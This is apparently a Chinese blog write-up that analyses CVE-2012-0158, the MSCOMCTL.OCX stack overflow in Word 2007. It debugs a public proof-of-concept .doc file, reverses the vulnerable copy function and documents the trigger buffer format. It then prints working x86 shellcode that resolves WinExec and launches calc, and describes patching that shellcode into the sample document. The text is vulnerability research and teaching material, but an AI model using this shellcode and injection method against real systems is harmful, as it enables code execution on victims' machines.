目录
CVE-2012-0158 分析&利用
分析思路:通过word文档样本调试分析漏洞触发处
1、实验环境
- WINDOWS 7 SP1 32位系统
- Microsoft office word 2007 (12.0.4518.1014)
- IDA Pro 7.0
- OD吾爱破解专用版
- WinHex
2、下载poc样本
POC样本是使用的是看雪论坛一篇CVE-2012-0158分析文章中提供的POC样本。
下载好了sample.doc之后,使用word 2007打开会弹出一个计算器:
弹出计算器后,word立即关闭。并且大小从原来的134kb变为了12kb,再次打开该文档:
出现警告,继续打开,发现样本再也无法弹出计算器了。这要么是word对其进行了处理,要么就是样本自身进行了”自我廋身“。
因为样本的这个特性,所以每次都只有一次调试分析机会。我提前做好了样本的备份,每次分析都会使用一个bat文件,将样本复制一份来进行分析。从而避免每次都从原网站下载该样本。
3、调试并找到漏洞触发点
既然弹出了计算器,那么猜测调用了WinExec函数。考虑使用OD下API断点。首先打开word 2007,使用OD附加到word 2007上。并执行如下操作:
执行了上图的命令之后就给WinExec函数下了断点,当程序执行调用WinExec函数时将会调试器将会断下。继续运行word 2007,使用它打开sample.doc。OD调试器对WinExec函数下的软件断点触发。此时的堆栈如图显示:
额,卧槽,cmdLine参数居然是"C:\User\pc207\a.exe"。我电脑上什么时候有的这个a.exe啊?于是我跟着这个路径去看,发现居然真他妈的多出了个a.exe!!!,查看其出生日期,妈的不就是刚刚吗???
所以说,这个a.exe应该就是这个sample.doc生出来的。现在大概知道了这个sample.doc运行会在用户目录下生出一个a.exe的计算器程序,并且调用WinExec函数执行它。
继续查看栈,WinExec函数执行完的返回地址为:0x272228,这个地址是很明显的栈地址空间(使用OD查看内存区段分布可得出该结论)。于是可以判断,这是个栈溢出。
那么我们可以看看0x272228的反汇编:
还真是栈溢出的shellcode的样子。
那么怎么知道在执行这段栈中shellcode之前,程序运行在哪个函数中呢?即到底是在哪个函数中发生的栈溢出呢?1、可以对这段栈下写入记录断点,然后慢慢调。2、查看现有堆栈中是否还存留一些返回地址信息。
我运气比较好,这个样本留有一些信息给我。如下图:
返回到MSCMCTL.275c8A0A ,那就跳过去下个断点,重新调试 看看是WinExec的断点先触发,还是MSCMCTL.275c8A0A 的断点先触发。
再次调试,发现并不是我想的那样,是在MSCOMCTL.275c876D中出现的调用的WinExec。但是细心的我发现在没call MSCOMCTL.275c876d之前,栈回溯是可以的,即栈没有被破坏,但是执行了call MSCOMCTL.275c876d之后栈回溯居然被破坏掉了!!!如下图,我转到EBP,发现EBP的值居然为0了:
那么我继续单步走,发现就是在执行call MSCOMCTL.275c876d的这个函数里面,发生的堆栈溢出,并且在最后ret 0x8的时候返回到了0x7ffa4512处(上图ebp下面哪个就是返回地址),所以MSCOMCTL.275c876d执行了类似memcpy的功能,造成了栈溢出。
而0x7ffa4512处不出意外应该就是:jmp esp
好了,再次重新调试,我们在执行call MSCOMCTL.275c876d之前看栈回溯,看看执行call MSCOMCTL.275c876d的函数的名字。
可以看到返回地址是0x275e701a,反汇编窗口跟随到该地址,得到执行call MSCOMCTL.275c876d的函数的名字为:MSCOMCTL.275c89c7
好,现在可以使用我们的神器IDA Pro来分析一下这个函数了。分析模块为C:\windows\system32\MSCOMCTL.OCX 。
4、分析漏洞触发模块及流程
将其用IDA打开,定位到MSCOMCTL.275c89c7函数。F5查看其代码:
int __stdcall sub_275C89C7(int a1, BSTR bstrString)
{
BSTR v2; // ebx
int result; // eax
int v4; // esi
int v5; // [esp+Ch] [ebp-14h]
SIZE_T dwBytes; // [esp+14h] [ebp-Ch]
int v7; // [esp+18h] [ebp-8h]
int v8; // [esp+1Ch] [ebp-4h]
v2 = bstrString;
result = sub_275C876D((int)&v5, bstrString, 0xCu);
if ( result >= 0 )
{
if ( v5 == 1784835907 && dwBytes >= 8 )//大于8溢出
{
v4 = sub_275C876D((int)&v7, v2, dwBytes);//这儿发生的栈溢出
if ( v4 >= 0 )
{
if ( !v7 )
goto LABEL_8;
bstrString = 0;
v4 = sub_275C8A59((UINT)&bstrString, (int)v2);
if ( v4 >= 0 )
{
sub_27585BE7(bstrString);
SysFreeString(bstrString);
LABEL_8:
if ( v8 )
v4 = sub_275C8B2B(a1 + 20, v2);
return v4;
}
}
return v4;
}
result = -2147418113;
}
return result;
}
好,下面我给出打开sample.doc,是上述代码的执行流程:
堆栈示意图:
- 首先执行第12行代码,
result = sub_275C876D((int)&v5, bstrString, 0xCu);
,从执行的结果来看这个函数复制了12个字节的数据到了v5,那么就会dwbytes也会被影响。执行完这句之后,V5 ="Cobjd",dwbytes=0x8282 - sub_275c876d执行成功返回0,执行到第15行,判断v5是否为"Cobjd"且dwbytes是否大于等于8。条件满足!!!
- 继续执行第17行:
v4 = sub_275C876D((int)&v7, v2, dwBytes);
由上述我们可以猜到,sub_275c876D应该是复制dwBytes个字节到v7,即复制0x8282个字节到v7,那么造成了栈溢出,覆盖返回地址。从执行结果来看,v7=v8=ebp=0,返回地址指向了jmp esp的地址。且函数返回0。 - 因为v7=0;所以执行第21行
goto LABEL_8;
- 因为v8=0;所以执行第31行
return v4
- 然后就会jmp esp,开始执行攻击者构造的shellcode了。
你觉得这样就算分析完了吗???不行,老子要来提问题了!!!
问题1:不知道你娃注意到没有该函数前后调用了两次sub_275C876D函数,而且他们的第二个参数都是一样的!都是参数&bstrString。 什么你要杠?第二个sub_275C876D的参数不是&v2吗? 我日,你眼睛瞎了哇!去看第11行!那么按照猜想,第一次复制了12个字节,第二次复制0x8282个字节的时候前12个字节应该也和复制12个字节时一样啊。但是结果是,第二次调sub_275C876D得到的前12个字节并不是"Cobjd"和0x8282。我日,看来sub_275C876D里面还是有点鬼的。没事,老子有IDA pro 7.0 ,虚毛线。上F5!
int __cdecl sub_275C876D(int a1, LPVOID lpMem, SIZE_T dwBytes) { LPVOID v3; // ebx int result; // eax LPVOID v5; // eax int v6; // esi int v7; // [esp+Ch] [ebp-4h] void *lpMema; // [esp+1Ch] [ebp+Ch] v3 = lpMem; result = (*(int (__stdcall **)(LPVOID, int *, signed int, _DWORD))(*(_DWORD *)lpMem + 12))(lpMem, &v7, 4, 0); if ( result >= 0 ) { if ( v7 == dwBytes ) { v5 = HeapAlloc(hHeap, 0, dwBytes); lpMema = v5; if ( v5 ) { v6 = (*(int (__stdcall **)(LPVOID, LPVOID, SIZE_T, _DWORD))(*(_DWORD *)v3 + 12))(v3, v5, dwBytes, 0); if ( v6 >= 0 ) { qmemcpy((void *)a1, lpMema, dwBytes); v6 = (*(int (__stdcall **)(LPVOID, void *, SIZE_T, _DWORD))(*(_DWORD *)v3 + 12))( v3, &unk_27632368, ((dwBytes + 3) & 0xFFFFFFFC) - dwBytes, 0); } HeapFree(hHeap, 0, lpMema); result = v6; } else { result = -2147024882; } } else { result = -2147418113; } } return result; }
看到第11行,第20行,第24行那种调用,我就晓得了,这个lpMem即bstrString应该是个类。
我调试了n遍这个函数,我大致说下这个函数的流程。
- 首先,11行调用它这个类的成员函数,从一个buffer中获取前4个字节的值存到局部变量v7中。
- 接着判断这个v7和我们传进来的哪个dwbytes相比较,一样则满足要求继续执行。
- 接着第16行,使用HeapAlloc分配dwbytes这么大的空间v5。
- 分配成功,就又调用它这个类的成员函数(和第11行哪个一样),从结果分析是读取了dwbytes个字节到了刚刚使用HeapAlloc分配的v5中。
- 然后就会执行第23行,qmemcpy拷贝dwbytes个字节的数据到a1,a1即sub_275C876D的第一个参数的地址处。
- 然后第24行处的函数调用(和第11行的函数是一个函数)我没看懂。没啥影响。哦哦,反正要保证第三个参数为0。
- 然后调用HeapFree释放v5,返回函数。
经过一些列分析我终于顿悟了它这个成员函数的功能。它这个类中有一个buffer,以及一个偏移量offset,而这个buffer它是有格式的(经过我的调试得出的结论):
1、所以第一次调用那个成员函数,获取4个字节的数据是长度,然后offset = offset+4
2、判断数据长度是否和sub_275C876D传入的dwbytes一致,一致则继续
3、接着第二次调用哪个成员函数,从offset处获取dwbytes个字节到HeapAllocate获取的缓冲区里面。并offset=offset+dwbytes
4、如果要继续正确读取后面的buffer,那么第三次调用那个成员函数的时候,第三个参数要为0。
我想如果我的猜测正确那么这段buffer就应该是这样的:
但是!我他妈换了几个Hex编辑器,搜"Cobj"都没有搜索到!搜0x8282也没有....结果,他妈的,我灵光一闪,找到了答案。wqnmlgb,数据居然都是用字符这种形式存的。。。。所以你要搜8282,就搜Hex: 38323832
你说坑不坑。。。。。
结果不出所料,果然和我想像的buffer格式一模一样。哈哈哈哈哈哈哈哈。上图:
稍微排列一下:
问题2:那你娃咋个自己写一个sample.doc哇。
emmmm,我就是个初入漏洞分析的菜鸟,这是我调的第二个洞,也是第一个office洞。我不清楚啥子COM,ActiveX,OLE,还有VBS,宏。所以要我自己写一个那是不可能的。技术还不够。所以一不做,二不休,我就用这个sample.doc来做。改一改就行了,弹个计算器的shellcode又不是写不来。下面看我施展我的绝技:偷天换日 神功。
5、漏洞利用
shellcode编写:最基本的东西我不想过多解释,直接上代码:篇幅有限,没做ExitProcess
_asm { //int 3 mov eax,fs:[0x30];// peb mov ebx,[eax+0xc]; //peb->Ldr mov esi,[ebx+0x14];//peb->Ldr.Inmemorder lodsd ;//eax="ntdll.dll" xchg eax,esi; lodsd ;//eax="kernel32.dll" mov ebx,[eax+0x10]; //ebx = base address mov edx,[ebx+0x3c]; //DOS->e_ifanew add edx,ebx; // PE header mov edx,[edx+0x78];// edx = offset of EAT add edx,ebx;// EAT mov esi,[edx+0x20]; //Address of Names(RVA) add esi,ebx ;//Name Table xor ecx,ecx ;//index=0 Find_index: inc ecx; lodsd ;//mov eax,[esi] RVA add eax,ebx; cmp dword ptr[eax],0x50746547;//PteG jnz Find_index ; cmp dword ptr[eax+0x4],0x41636f72;//Acor jnz Find_index ; cmp dword ptr[eax+0x8],0x65726464; //erdd jnz Find_index; //get! mov esi,[edx+0x24] ;//AddressOfNameOrdinals RVA add esi,ebx ;//Ord Table mov cx,[esi+ecx*2];//cx = realindex mov esi,[edx+0x1c];//AddressOfFunction RVA add esi,ebx ;// dec ecx;// indx-1 mov edx,[esi+ecx*4]; add edx,ebx;//GetProcAddress real address push 0x00636578;//xec push 0x456E6957;//WinE push esp; push ebx; call edx; push 0; push 0x636c6163;//calc mov edi,esp; push 0; push edi; call eax;
提取shellcode,覆盖到原来的sample.doc
自己写个程序来完成这个任务。就是将shellocde 转成字符保存到sample.doc的shellcode处(ebp+10h处)的一个c程序。
完成之后是这个效果:
运行我自己的sample.doc截图如下:
6、总结
这个漏洞是经典的office漏洞,也是经典的栈溢出漏洞。因为没有pdb文件,所以分析起来很吃力,也是第二次分析漏洞。emmm,我感觉我猜测的能力有上了一个台阶。中间有些四川话,可能影响阅读,请不要在意。哦哦,忘了说一句,因为sub_275C876D有个ret 8,所以真正的shellcode应该在ebp+10h处开始。
网上那些分析这个洞的调试符号不晓得哪儿来的,我没找到,但是我还是可以分析。
另外,他们没有分析那个buffer的数据格式,都是直接说那个函数做了复制,但是都没注意到,两次调用都是一样的参数。但是,我看到了这点,我分析出来了。(666,自我鼓励。。)
7、参考资料
1:https://bbs.pediy.com/thread-207638.htm "CVE-2012-0158分析"